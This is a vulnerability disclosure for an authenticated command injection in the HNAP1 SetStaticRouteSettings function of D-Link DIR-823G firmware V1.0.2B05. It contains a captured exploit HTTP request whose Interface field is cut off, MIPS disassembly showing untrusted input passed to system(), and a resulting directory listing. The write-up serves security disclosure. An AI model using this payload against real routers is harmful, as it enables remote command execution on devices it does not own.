

DIR-823G

Version

DIR823GA1_FW102B05

Firmware download link

<http://support.dlink.com.cn/ProductInfo.aspx?m=DIR-823G>

官网技术支持CN

 **技术支持**

 **产品注册**
注册您的产品

 **保修文件**
点击这里查看本文件保修文档

 **首次设置**
让我们告诉您怎么做！

 **联系技术支持**
通过电话或电子邮件获取帮助

**DIR-823G**
DIR-823G AC1200M 双频千兆无线路由器

下载

常见问题

视频

规格

为了获得正确的下载，请为您的设备选择正确的硬件版本。

A1

▼

怎样找到硬件版本？

类型	日期	
固件版本 (V1.0.2B05)	2019/06/20	下载
快速安装指南 (1.00)	2018/02/01	下载
规格表 (1.00)	2018/02/01	下载



使用条款隐私联系我们

decription

An issue was discovered on D-Link DIR-823G devices with firmware V1.0.2B05.
There is a command injection in HNAP1 (exploitable with Authentication)
via shell metacharacters in the Interface field to SetStaticRouteSettings.

others

found by wx@teamserious360.
please send email to teamserious360@gmail.com if you have any question.

Command injection in HNAP1 SetStaticRouteSettings

bypass the check of the "Interface" by modifying in HTTP Message

添加静态路由

目的网络地址

目的子网掩码

默认网关

取消

确定

payload

```
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://purenetworks.com/HNAP1/SetStaticRouteSettings"
HNAP_AUTH: 8E857F2DDF5968FCA6D56D733B2228F9 1562818530
X-Requested-With: XMLHttpRequest
Content-Length: 569
Connection: close
Referer: http://192.168.0.1/Staticroute.html
Cookie: uid=fXjc240Pyt; PrivateKey=AD2F22613CA87F2A314199EEDE18FA5; timeout=20

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetStaticRouteSettings
xmlns="http://purenetworks.com/HNAP1/"><StaticRouteClientInfoLists><ClientInfo><IPAddress>10.3.8.212</IPAddress><SubnetMask>255.255.255.255</SubnetMask><Gateway>192.
168.0.1</Gateway><Interface>l
```

Vulnerability description

This occurs in /bin/goahead when a HNAP API function trigger a call to the system function with untrusted input from the request body. A attacker can execute any command remotely when they control this input. The detail is as below:

```
la    $v0, aEchoSVarHnaplo # "echo '%s' >/var/hnaplog"
addiu $v1, $fp, 0x1448+var_1390
move  $a0, $v1
li    $a1, 0x1387
move  $a2, $v0
lw    $a3, 0x1448+arg_18($fp)
jal   snprintf
nop
addiu $v0, $fp, 0x1448+var_1390
move  $a0, $v0
jal   system
nop
```

result

bin
dev
etc
firmadyne
home
init
lib
lost+found
mnt
proc
root
sys
tmp
usr
var
web
web_mtn